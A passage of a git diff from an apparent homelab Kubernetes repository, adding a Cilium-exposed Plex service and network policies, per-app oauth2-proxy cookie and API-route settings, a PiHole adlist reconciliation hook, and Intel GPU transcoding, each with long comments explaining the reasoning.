+# Measured 2026-10-03 through the Gateway VIP: `GET https://plex.home.keithjackson.dev/identity`
+# returned HTTP 200 with `claimed="1"` and the real machineIdentifier, and the protected endpoints
+# (/library/sections, /status/sessions, /:/prefs) all returned 401. The L7 path WORKS.
+#
+# The problem is DISCOVERY, not proxying. Plex apps (phone, TV, Roku) do not resolve
+# `plex.${BASE_DOMAIN}`; they ask plex.tv for the server's connection list. A server gets onto that
+# list one of two ways: it advertises a custom URL (`customConnections`, the ADVERTISE_IP env), or it
+# publishes a reachable public IP:port for its own tcp/32400. Measured in the live Preferences.xml on
+# 2026-10-03: `customConnections` ABSENT, `ManualPortMappingMode` ABSENT, while
+# `PublishServerOnPlexOnlineKey="1"` — the server was trying to publish and had nothing reachable to
+# publish, so remote clients saw NO connection at all. The operator chose the NATIVE path (this
+# file) over advertising the Gateway URL: Plex then terminates its own TLS with its
+# `*.plex.direct` certificate and video streams bypass the Envoy L7 hop entirely.
+#
+# VIP: ${PLEX_L4_VIP} (cluster-vars, R-ENV-02 — dev 192.168.1.57, prod 192.168.2.24), PINNED via
+# lbipam.cilium.io/ips out of the CiliumLoadBalancerIPPool `default-pool`
+# (${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP}) and ARP-announced on the flat LAN by the existing
+# CiliumL2AnnouncementPolicy `default-l2` (platform-config/cilium/*). No new Cilium config is needed;
+# this Service just consumes the pool. PINNING IS NOT OPTIONAL: the address is typed into a WAN
+# port-forward on the SOHO router, which is hand-maintained and off-repo, so it can never move.
+# 192.168.2.24 verified FREE live 2026-10-03 — `default-pool` reported IPsTotal 11 / IPsUsed 4 /
+# IPsAvailable 7, and the only four allocations were .20 (cilium-gateway-shared), .21 (unifi-l4-*),
+# .22 (crafty-l4-*) and .23 (pihole-dns-*).
+#
+# ONE SERVICE, TCP ONLY. Unlike unifi/crafty/pihole-dns this needs no second Service and no
+# lbipam.cilium.io/sharing-key: Plex's remote access is tcp/32400 and nothing else. (Plex's
+# DLNA/GDM discovery uses UDP, but that is LAN-only multicast and is not part of remote access.)
+#
+# NO `loadBalancerSourceRanges`, DELIBERATELY — and this is the one place this file diverges from
+# its closest sibling. apps/wave-0/pihole-dns.yaml pins its source range to ${LAN_CIDR} because a
+# resolver must never answer the internet. This Service is the OPPOSITE case: admitting remote
+# clients from arbitrary internet addresses is its entire purpose, so there is no range to narrow
+# to. Plex authenticates every caller itself (measured above: 401 on every protected endpoint
+# without a token), which is what makes an unfiltered port defensible here.
+#
+# NO external-dns ANNOTATION, DELIBERATELY. unifi and crafty both carry
+# `external-dns.alpha.kubernetes.io/hostname` so external-dns publishes their VIP as a public
+# Cloudflare record. This Service must not, for pihole-dns's reason: ${PLEX_L4_VIP} is an RFC1918
+# address that is useless in public DNS. Remote clients get this server's address from plex.tv, not
+# from the zone. The existing public `plex.${BASE_DOMAIN}` record is published from the rendered
+# HTTPRoute via the gateway source and is NOT affected by this file — the web UI keeps working
+# through the Gateway exactly as before.
+#
+# -------------------------------------------------------------------------------------------------
+# externalTrafficPolicy: Cluster — inherited from crafty's 8-DAY LAN OUTAGE, not re-derived.
+# -------------------------------------------------------------------------------------------------
+# `Local` is the tempting choice because it preserves the client source IP, which this service
+# actually has a use for (see the allowedNetworks note below). It is still WRONG here, for the
+# reason platform/crafty/service-l4.yaml documents at length: Cilium's L2 announcer elects ONE lease
+# holder per Service and does NOT follow the backend pod, so with `Local` the VIP can be announced
+# by a node that has no Plex pod, which black-holes the port while every object still reports
+# healthy. Plex is a single-replica Deployment with `strategy: Recreate` pinned to wherever the
+# scheduler put it, so the mismatch is the normal case, not a rare one. Take the SNAT.
+#
+# KNOWN CONSEQUENCE OF THAT CHOICE, stated rather than discovered later: `Cluster` SNATs the client
+# to the ingress NODE's address (192.168.2.1x), which falls inside the `192.168.0.0/16` entry of
+# catalog/plex.yaml's ALLOWED_NETWORKS. Plex will therefore classify every REMOTE client as LAN.
+# Measured 2026-10-03 on the Gateway path, which SNATs the same way: Plex logged the request as
+# `[10.0.2.214:36040 (Allowed Network (WAN))]`. This is a METERING effect, not a security one —
+# authorization is unchanged (401s above), but Plex's remote-quality/bandwidth limits will not bind
+# on these streams because it believes they are local. Narrowing ALLOWED_NETWORKS cannot fix it
+# without also de-classifying genuine LAN clients, so it is accepted.
+apiVersion: v1
+kind: Service
+metadata:
+  name: plex-l4-tcp
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+  annotations:
+    lbipam.cilium.io/ips: "${PLEX_L4_VIP}"
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  selector:
+    app.kubernetes.io/name: plex
+  ports:
+    - name: plex-remote
+      port: 32400
+      targetPort: 32400
+      protocol: TCP
+---
+# INGRESS allow for the raw port (R-NET-01/02).
+#
+# The rendered plex.yaml already carries `plex-allow-gateway-ingress` (fromEntities: ingress ->
+# 32400) and three reciprocal allows for sonarr/radarr/seerr. CiliumNetworkPolicies are ADDITIVE, so
+# this file adds the off-cluster case without touching those.
+#
+# `world` is Cilium's entity for anything outside the cluster, which is what a remote Plex client is.
+# `host` and `cluster` mirror platform/crafty/networkpolicy.yaml's game-port rule and are what make
+# this work under `externalTrafficPolicy: Cluster`: after SNAT the packet's source is the ingress
+# NODE, which Cilium classifies as `host` (same node) or `remote-node` (a different one) — NOT
+# `world`. Listing `world` alone would compile cleanly and then drop every remote stream, so all
+# four entities are named.
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-remote-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+    - fromEntities:
+        - world
+        - cluster
+        - host
+        - remote-node
+      toPorts:
+        - ports:
+            - { port: "32400", protocol: TCP }

apps/wave-0/plex.yaml

@@ -137,6 +137,9 @@ spec:
             secretKeyRef:
               name: plex-claim
               key: PLEX_CLAIM
+        resources:
+          limits:
+            gpu.intel.com/i915: 1
         volumeMounts:
         - name: config
           mountPath: /config
@@ -167,6 +170,28 @@ spec:
     port: 32400
     targetPort: 32400
 ---
+# CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-radarr-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-radarr-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: radarr
+        k8s:io.kubernetes.pod.namespace: radarr
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-seerr-32400
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -189,6 +214,28 @@ spec:
       - port: '32400'
         protocol: TCP
 ---
+# CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-sonarr-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-sonarr-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: sonarr
+        k8s:io.kubernetes.pod.namespace: sonarr
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy gateway-ingress allow (R-NET-01/02): plex-allow-gateway-ingress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

apps/wave-0/qbittorrent.yaml

@@ -171,11 +171,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://qbittorrent.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_qbittorrent
+        - --cookie-domain=qbittorrent.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -196,6 +199,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-1/radarr.yaml

@@ -153,11 +153,16 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://radarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --api-route=^/api/
+        - --api-route=^/signalr/
+        - --cookie-name=_oauth2_proxy_radarr
+        - --cookie-domain=radarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +183,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -275,6 +283,28 @@ spec:
       - port: '9117'
         protocol: TCP
 ---
+# CiliumNetworkPolicy egress allow (R-NET-02): radarr-allow-plex-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: radarr-allow-plex-32400
+  namespace: radarr
+  labels:
+    app.kubernetes.io/name: radarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: radarr
+  egress:
+  - toEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: plex
+        k8s:io.kubernetes.pod.namespace: plex
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): radarr-allow-seerr-7878
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

apps/wave-1/sonarr.yaml

@@ -153,11 +153,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +181,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -275,6 +281,28 @@ spec:
       - port: '9117'
         protocol: TCP
 ---
+# CiliumNetworkPolicy egress allow (R-NET-02): sonarr-allow-plex-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: sonarr-allow-plex-32400
+  namespace: sonarr
+  labels:
+    app.kubernetes.io/name: sonarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: sonarr
+  egress:
+  - toEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: plex
+        k8s:io.kubernetes.pod.namespace: plex
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): sonarr-allow-seerr-8989
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

catalog/jackett.yaml

@@ -51,6 +51,23 @@ auth:
     # This grants no real privilege: platform-admins already maps to cluster-admin via
     # k8s-oidc-rbac.yaml (oidc:platform-admins), so a member can already exec into these pods.
     - platform-admins           # operators of these services must not be locked out of them
+  # Answer Jackett's OWN API with 401 instead of a 302 to Keycloak (schema 1.9.0; renders
+  # --api-route, singular and repeatable, onto the oauth2-proxy sidecar).
+  #
+  # MEASURED on this pod's access log, 2026-09-30: on /api/ paths, 33 x 302 against 2 x 401 —
+  # and 4 of 6 POSTs were answered BY THE PROXY and never reached Jackett (access-log upstream
+  # field `-`, not `/`), including both `/api/v2.0/server/update` calls. Jackett's jQuery does
+  # not send the exact `Accept: application/json` oauth2-proxy's AJAX guard requires, so the
+  # 302 was followed invisibly, satisfied silently by the live Keycloak SSO session, and
+  # resolved 200 carrying the dashboard's HTML where the JavaScript expected JSON. A browser
+  # following a 302 also re-issues a POST as a GET and DROPS THE BODY, which is why "adding an
+  # indexer silently does nothing" was the user-visible symptom and nothing logged a failure.
+  #
+  # SCOPE: `/api/` only. Jackett serves its UI at /UI/ and its static assets elsewhere, and a
+  # browser never NAVIGATES to /api/ — so a plain page load is still 302'd into a silent SSO
+  # sign-in, which is the behaviour that must not change.
+  apiRoutes:
+    - ^/api/
 update:
   channel: stable               # R-UPD-01
   range: ">=0.22.0"             # stay on the Jackett 0.22.x stable line

catalog/pihole.yaml

@@ -100,6 +100,20 @@ env:
   # while resolution for the zone does not work. Confirmed both ways against the live image.
   - name: FTLCONF_misc_dnsmasq_lines
     value: "address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP}"
+  # THE ADMIN PASSWORD, previously the ONE operator-set value declared nowhere. Sourced from
+  # apps/wave-0/pihole-bootstrap-secret.sops.yaml (SOPS/age, same wave => same reconcile), which
+  # carries the full rationale and the measurement that found it.
+  #
+  # `webserver.api.password` takes CLEARTEXT and FTL hashes it itself into `webserver.api.pwhash`.
+  # Verified in the running image, not assumed: `pihole setpassword` is itself
+  # `setFTLConfigValue "webserver.api.password" "$PASSWORD"`, commented upstream as "pihole-FTL will
+  # automatically hash the password". So the BALLOON-SHA256 hash on the PVC is now a DERIVED artefact
+  # and this is its source of truth. Rotating the Secret rotates the password.
+  - name: FTLCONF_webserver_api_password
+    valueFrom:
+      secretKeyRef:
+        name: pihole-bootstrap
+        key: webui-password
 ingressRoutes:
   - host: pihole.${BASE_DOMAIN}
     port: 80                  # admin web UI, protected at the Gateway by forward-auth (docs/09)
@@ -107,6 +121,117 @@ auth:
   mode: forward-auth          # oauth2-proxy -> Keycloak; bare UI, no native OIDC (docs/15; R-IDP-02)
   groups:
     - platform-admins         # sensitive admin UI: authenticated AND in group (R-IDP-06)
+  # NO `apiRoutes` HERE, DELIBERATELY. PiHole's admin UI serves no /api/ path, so the `^/api/`
+  # that jackett and radarr need would match nothing on a good day — and a BROADER guess would
+  # answer PiHole's own page loads with 401, leaving a logged-out operator on a bare error page
+  # with no sign-in offered. This app is the reason auth.apiRoutes is per-service (schema 1.9.0)
+  # rather than a renderer constant: the measurement that justifies the flag on two apps is
+  # evidence about those two apps. Its oauth2-proxy log holds 0 unauthenticated requests across
+  # the current pod's whole 23h lifetime (measured 2026-10-01), so there is nothing to act on.
+lifecycle:
+  # LEVEL-TRIGGERED ADLIST ASSERTION, run on EVERY container start. Same pattern, and the same
+  # reasoning, as catalog/qbittorrent.yaml's postStart: desired state lives in git and is
+  # RE-ASSERTED unconditionally rather than set once by hand.
+  #
+  # WHY THIS IS NEEDED AT ALL — the blocklists were NOT reproducible from git. Measured on live prod
+  # 2026-10-04: `gravity.db` held exactly ONE adlist (StevenBlack's hosts, enabled) and 72,234
+  # gravity domains, and NOTHING in this repo named it. Worse, a FRESH database does not seed it:
+  # the image's own schema template `/etc/.pihole/advanced/Templates/gravity.db.sql` creates the
+  # `adlist` table and inserts NO rows into it (grepped in the running image — there is no
+  # `INSERT INTO adlist` at all). So a rebuild from git, or a replica with a new PVC, would come up
+  # SERVING DNS AND BLOCKING NOTHING, silently and with every object reporting healthy.
+  #
+  # WHY A postStart HOOK AND NOT A FILE. PiHole v6 keeps adlists as DB rows, not config. The
+  # `/etc/pihole/adlists.list` file still exists in `gravity.sh` but is MIGRATION-ONLY: its import
+  # sits inside `migrate_to_database()`, guarded by `if [ ! -e "$gravityDBfile" ]`, so it fires only
+  # while CREATING a database and never again on an existing one. A ConfigMap mounted there would
+  # therefore be silently ignored on every pod this cluster currently runs. There is also no
+  # `pihole adlist` CLI subcommand (only allow/deny for domains), so SQL against the DB is the
+  # actual interface. FTL ships an embedded shell (`pihole-FTL sqlite3`, SQLite 3.53.1) so no extra
+  # tooling is needed in the image.
+  #
+  # IT RECONCILES, IT DOES NOT JUST ADD: adlists present in the DB but absent from DECLARED below are
+  # DISABLED (not deleted — deleting cascades to `gravity` rows and would force a full re-download of
+  # everything on a typo). So this list is the source of truth in both directions, and `pihole -g`
+  # runs ONLY when something actually changed, which keeps the steady-state start free of a 70k-domain
+  # rebuild.
+  #
+  # NO BRACED DOLLAR EXPANSION ANYWHERE IN THIS SCRIPT, DELIBERATELY — the same contract
+  # catalog/qbittorrent.yaml documents at length. apps-wave-0 declares postBuild.substituteFrom
+  # cluster-vars, so Flux runs envsubst over this whole manifest at reconcile time; a `${VAR}` form
+  # would behave differently on the cluster than under a plain `kubectl apply` of the golden. Bare
+  # `$VAR` and `$(cmd)` are untouched by envsubst and so behave identically however this is run.
+  # `render.py`'s assert_substitution_safe refuses to emit a manifest that breaks this.
+  postStart:
+    exec:
+      command:
+        - /bin/bash
+        - -c
+        - |
+          # Assert the declared adlists in gravity.db. Idempotent: steady state writes nothing and
+          # does NOT run a gravity rebuild.
+          set -u
+          GRAVITY=/etc/pihole/gravity.db
+
+          # THE DECLARED SET — one URL per line, the source of truth for what PiHole blocks.
+          # To add a list: add a line here, commit, let Flux reconcile. Nothing else to do.
+          DECLARED='https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts'
+
+          # On a fresh PVC, FTL creates gravity.db a moment after the container starts. Wait, bounded,
+          # and NEVER block or fail the start: a missing DB here must not crashloop DNS for the LAN.
+          i=0
+          while [ ! -s "$GRAVITY" ] && [ "$i" -lt 90 ]; do sleep 2; i=$(expr $i + 1); done
+          if [ ! -s "$GRAVITY" ]; then
+            echo "pihole-adlists: gravity.db absent after 180s - leaving adlists untouched" >&2
+            exit 0
+          fi
+
+          sql() { pihole-FTL sqlite3 "$GRAVITY" "$1"; }
+          CHANGED=0
+
+          # 1) Every declared URL must be present AND enabled.
+          echo "$DECLARED" | while IFS= read -r url; do
+            [ -n "$url" ] || continue
+            printf '%s\n' "$url"
+          done > /tmp/declared.txt
+          while IFS= read -r url; do
+            [ -n "$url" ] || continue
+            # Single quotes inside a URL would break this SQL; adlist URLs do not contain them.
+            have=$(sql "select count(*) from adlist where address='$url';")
+            if [ "$have" = "0" ]; then
+              echo "pihole-adlists: adding $url"
+              sql "insert into adlist (address,enabled,comment) values ('$url',1,'declared in catalog/pihole.yaml');"
+              CHANGED=1
+            else
+              en=$(sql "select enabled from adlist where address='$url';")
+              if [ "$en" != "1" ]; then
+                echo "pihole-adlists: re-enabling $url"
+                sql "update adlist set enabled=1 where address='$url';"
+                CHANGED=1
+              fi
+            fi
+          done < /tmp/declared.txt
+
+          # 2) Anything enabled in the DB but NOT declared gets disabled (never deleted - see above).
+          sql "select address from adlist where enabled=1;" | while IFS= read -r addr; do
+            [ -n "$addr" ] || continue
+            if ! grep -qxF "$addr" /tmp/declared.txt; then
+              echo "pihole-adlists: disabling undeclared $addr"
+              sql "update adlist set enabled=0 where address='$addr';"
+              echo changed >> /tmp/adlist-changed
+            fi
+          done
+          [ -s /tmp/adlist-changed ] && CHANGED=1
+          rm -f /tmp/adlist-changed /tmp/declared.txt
+
+          # 3) Rebuild gravity ONLY if the declared set actually moved.
+          if [ "$CHANGED" = "1" ]; then
+            echo "pihole-adlists: declared set changed - running gravity update"
+            pihole -g || echo "pihole-adlists: gravity update failed; existing gravity.db retained" >&2
+          else
+            echo "pihole-adlists: already matches the declared set - nothing to do"
+          fi
+          exit 0
 update:
   channel: stable             # R-UPD-01
   range: ">=2024.0.0"

catalog/plex.yaml

@@ -80,6 +80,60 @@ env:
   # remote access are UNVERIFIED. Advertising a wrong/internal-only URL breaks remote access for ALL
   # clients, so per "prefer safety over completeness" it is left unset. FOLLOW-UP: once remote
   # reachability through the Gateway is confirmed, set ADVERTISE_IP: "https://plex.home.keithjackson.dev:443".
+# HARDWARE TRANSCODING — the host iGPU's render device (schema 1.8.0 `hardware`; R-PLAT-02).
+# INTENT ONLY, AND THE MECHANISM DELIBERATELY DOES NOT LIVE HERE. This says "this workload needs an
+# Intel Quick Sync render device"; it does NOT name a device path and it does NOT name a resource.
+# How the platform hands the device over is `catalog/render.py`'s business and is documented in
+# `schemas/renderer-contract.md` `### hardware` — read that for the mechanism, never this comment.
+# The payoff is proven, not theoretical: on 2026-10-01 the mechanism was swapped outright (hostPath
+# -> Intel GPU device plugin extended resource) and THIS BLOCK DID NOT MOVE — a `render.py` change
+# plus a re-render, zero catalog edits. Do not "simplify" it into a raw `/dev/...` path; that is the
+# whole point of the enum.
+#
+# THE DEVICE IS PRESENT ON EVERY PROD NODE, so nothing had to be installed and Plex can land
+# anywhere. Measured on all three nodes 2026-09-30: `/dev/dri/renderD128` present, `root:render`,
+# GID 992, mode 0660, driver `i915` bound (NOT `xe`), UHD Graphics 630 on an i7-9700T, media engines
+# `vcs0`/`vecs0` live, iGPU enabled in BIOS on each. Measured again 2026-10-01, one layer up: all
+# three nodes advertise `gpu.intel.com/i915: 1` in `.status.allocatable`. This field renders no
+# nodeSelector; placement is a separate concern with its own justification.
+#
+# PLEX'S SCHEDULABILITY IS NOW COUPLED TO THE `intel-gpu-plugin` DaemonSet, and that is a real cost,
+# not a footnote. The current mechanism is a hard scheduling constraint: if the resource is
+# unavailable (plugin broken, removed, or not yet reconciled) this pod is UNSCHEDULABLE, and because
+# `apps-wave-0` is `wait: true` with `apps-wave-1` `dependsOn` it, that STALLS THE WHOLE APP TIER.
+# The previous hostPath mechanism degraded silently to software transcoding instead — but it never
+# actually granted access (device-cgroup EPERM, measured 2026-10-01), so there was nothing to keep.
+# THE ESCAPE HATCH IS THIS BLOCK: delete these two lines and re-render, and Plex goes back to
+# software transcoding and the tier unblocks. One field, no code change. `runbooks/plex-quicksync.md`
+# carries that procedure for whoever needs it at 2am.
+#
+# NO `podSecurityContext.supplementalGroups`, AND ADDING ONE WOULD BE INERT — do not "fix" this.
+# The device is `root:render` 0660 and this process is uid/gid 1000, so the obvious move is to push
+# the host `render` GID in as a supplemental group. It cannot work here, and this survived the
+# mechanism swap unchanged. MEASURED IN THE RUNNING CONTAINER, 2026-09-30 and again 2026-10-01: the
+# image's own `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner` stats every char device
+# under `/dev/dri`, `groupadd`s a matching group INSIDE the container when none exists, and
+# `usermod -a -G`s the `plex` user into it — every start, nothing hardcoded, which also makes a host
+# GID renumbering self-healing (no GID is pinned anywhere in this repo) and which works the same way
+# on a PLUGIN-INJECTED device as on a bind-mounted one. Measured live, `Plex Media Server` ran with
+# `Groups: 44 100 992 1000` — 992 IS the host `render` GID, i.e. the hook had already done the job.
+# The service execs via `s6-setuidgid plex`, and `s6-setuidgid` REPLACES the process group list from
+# `/etc/group` rather than appending to it, so root's gid `0` — which PID 1 (`s6-svscan`) does hold —
+# is GONE, and anything Kubernetes supplies reaches s6-svscan and is discarded before Plex ever
+# starts. The group is the image's job and it does it correctly. `render.py --selftest` asserts the
+# ABSENCE of a pod securityContext for this field precisely so nobody adds an inert one back later.
+#
+# THE LAST MILE IS A MANUAL OPERATOR STEP AND CANNOT LIVE IN THIS REPO. Handing over the device does
+# not enable hardware transcoding — Plex's own `HardwareAcceleratedCodecs` preference does, and it
+# is ABSENT from `Preferences.xml` today (the toggle has never been on). NO environment variable can
+# set it: a grep of the running image's entire init surface (`/etc/cont-init.d`, `/etc/services.d`,
+# `/etc/fix-attrs.d`, `/plex-common.sh`, `/usr/local/bin`) found ZERO `PLEX_PREFERENCE*` support,
+# and the six prefs the image does write (`MachineIdentifier`, `ProcessedMachineIdentifier`,
+# `PlexOnlineToken`, `customConnections`, `allowedNetworks`, `TranscoderTempDirectory`) are all
+# unrelated. So there is no GitOps path to the toggle; an operator clicks it once in the web UI.
+# `runbooks/plex-quicksync.md` is that procedure, plus how to verify it took.
+hardware:
+  gpu: intel-quicksync
 exposure: public              # edge port-forward + public DNS; clients + Seerr reach it (docs/09; R-DNS/R-NET)
 egress: internet              # normal WAN egress (docs/03; R-NET-05)
 storage:

catalog/qbittorrent.yaml

@@ -448,6 +448,12 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # NO `apiRoutes` HERE: UNMEASURED, not cleared. qBittorrent's WebUI drives everything through
+  # /api/v2/, so it is plausibly affected in the same way jackett is — but plausibility is what
+  # put a renderer constant on the table in the first place. MEASURED 2026-10-01 on the live pod
+  # (qbittorrent-5547bdb9bd-zq557, 0 restarts, 23h): 13,649 log lines, ZERO unauthenticated
+  # requests, nothing but health probes. No traffic means no evidence either way. Add `^/api/`
+  # when someone opens the WebUI and records the 302/401 split, as was done for jackett.
 update:
   channel: stable               # R-UPD-01
   range: ">=5.0.0 <6.0.0"       # stay on the qBittorrent 5.x stable line

catalog/radarr.yaml

@@ -100,6 +100,9 @@ dependencies:
   - to: jackett                 # arr → indexer proxy (docs/13 dependency graph; R-NET-02 explicit allow)
     port: 9117
     protocol: tcp
+  - to: plex
+    port: 32400                 # arr -> plex: required since library is on NFS which does not provide file CRUD notifications
+    protocol: tcp
 ingressRoutes:
   - host: radarr.${BASE_DOMAIN}
     port: 7878                  # Radarr web/API; TLS terminates at the shared Gateway (docs/08, docs/09)
@@ -112,6 +115,32 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # Answer Radarr's machine endpoints with 401 instead of a 302 to Keycloak (schema 1.9.0;
+  # renders --api-route, singular and repeatable, onto the oauth2-proxy sidecar).
+  #
+  # `^/signalr/` — MEASURED ON THE LIVE POD, 2026-10-01, 23h after the cookie fix deployed
+  # (radarr-7d55cbffb9-42hmh, 0 restarts): 232 unauthenticated requests in the pod's whole
+  # lifetime and ALL 232 are the same call — `POST /signalr/messages/negotiate` from a browser
+  # UA, answered 302 by the proxy with upstream `-`, i.e. Radarr never saw one of them. That is
+  # a left-open tab whose session the cookie rename orphaned, polling SignalR forever, silently
+  # redirected every time and NEVER re-prompting the operator. It is the reported symptom
+  # ("reloading never fixes it and I am never re-prompted") still running in production on a
+  # service nobody was watching. With 401 the UI's connection breaks LOUDLY, the operator
+  # reloads, and `/` is outside both regexes so the reload signs them back in.
+  #
+  # `^/api/` — measured on radarr, but on the PRE-FIX pod and NOT by me: the 2026-09-30
+  # diagnosis (decisions/2026-09-30-jackett-oauth2-proxy-session.md) recorded radarr's 156
+  # unauthenticated requests as `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+  # `/signalr/messages/negotiate` (43). The current pod has logged ZERO /api/ traffic, so I did
+  # not re-measure it; it is included because 108 of 156 measured rejections on this app were
+  # /api/v3 XHRs, which is this app's own evidence rather than an analogy to another app.
+  #
+  # SCOPE: both are JSON/RPC namespaces a browser never NAVIGATES to. Radarr's UI is served at
+  # `/` with assets under /Content/ and /MediaCover/, none of which match — so a plain page load
+  # is still 302'd into a silent SSO sign-in.
+  apiRoutes:
+    - ^/api/
+    - ^/signalr/
 update:
   channel: stable               # R-UPD-01
   range: ">=5.0.0 <6.0.0"       # stay on the Radarr v5 stable line

catalog/render.py

@@ -133,6 +133,87 @@ OAUTH2_PROXY_IMAGE = "quay.io/oauth2-proxy/oauth2-proxy:v7.8.1"
 OAUTH2_PROXY_PORT = 4180
 KEYCLOAK_ISSUER = f"https://keycloak.{ZONE}/realms/homelab"
 
+# --- session lifetime -----------------------------------------------------------------
+# Keycloak's `homelab` realm issues access tokens with a 300-SECOND lifetime. MEASURED on a
+# live session, not read off a config page: `expires - created = 300.000s` exactly, with
+# `refresh_token:true` on the same line — so the proxy HOLDS a refresh token it was never
+# told to spend. `--cookie-refresh` defaults to 0, which the v7.8.1 binary's own help spells
+# "0 to disable", so every one of these sidecars dropped its session five minutes after
+# sign-in and sent the user back to Keycloak. Refresh at HALF the lifetime: two chances to
+# renew before expiry, so one failed refresh is not an immediate logout.
+#
+# NOTE for anyone tempted to add `--session-cookie-minimal` to shrink the cookie: it is
+# MUTUALLY EXCLUSIVE with this (provoked: "cookie_refresh > 0 requires oauth tokens in
+# sessions"). Dropping --pass-access-token is a least-privilege argument, not a size fix.
+OAUTH2_ACCESS_TOKEN_LIFETIME_S = 300
+OAUTH2_COOKIE_REFRESH = "2m30s"
+
+# --- metrics --------------------------------------------------------------------------
+# oauth2-proxy serves /metrics only when --metrics-address is given; with it absent the
+# listener never starts, so NO per-app sidecar was scrapable at all (measured: `ports` was
+# `['http']` on all six). 44180 is the platform's existing convention, not a guess — the
+# SHARED proxy already runs `--metrics-address=0.0.0.0:44180` with a `metrics` port and 2
+# ready endpoints. The flag is confirmed present in the PINNED v7.8.1 binary (`--help`),
+# which matters because the shared proxy is on v7.15.3 and could not have vouched for it.
+#
+# THIS IS THE PREREQUISITE ONLY, AND IT IS NOT YET SCRAPED. A container port is not a
